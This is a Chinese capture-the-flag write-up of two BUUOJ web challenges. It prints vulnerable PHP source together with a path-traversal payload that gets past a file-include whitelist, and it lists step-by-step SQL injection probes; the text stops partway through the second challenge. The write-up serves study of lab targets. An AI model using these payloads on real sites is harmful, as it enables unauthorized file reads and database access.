BUUOJ(Web)
Web
[HCTF 2018]WarmUp
查看页面源代码访问source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
?file=hint.php
flag not here, and flag in ffffllllaaaagggg
!empty($_REQUEST['file'])要我们的file变量不为空
is_string($_REQUEST['file'])要求我们传进来的值是字符串类型
emmm::checkFile($_REQUEST['file'])这里将我们的的值传到emmm类里面的checkFile函数
//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串
//mb_substr() 函数返回字符串的一部分。
//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
构造(如果没有flag,就多写几个../)
?file=hint.php?/../../../../ffffllllaaaagggg
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
上述函数将hint.php后的内容截断,$_page=hint.php,可以通过emmm::checkFile验证
参考
[强网杯 2019]随便注
1.判断有无注入
1' 报错
1'# 正常且为True
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
1' and 1=1# 正常且为True
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
1' and 1=2# 正常且为False
2.判断列数
1' order by 2# 正常
1' order by 3# 报错
3.查询数据
extractvalue()
extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用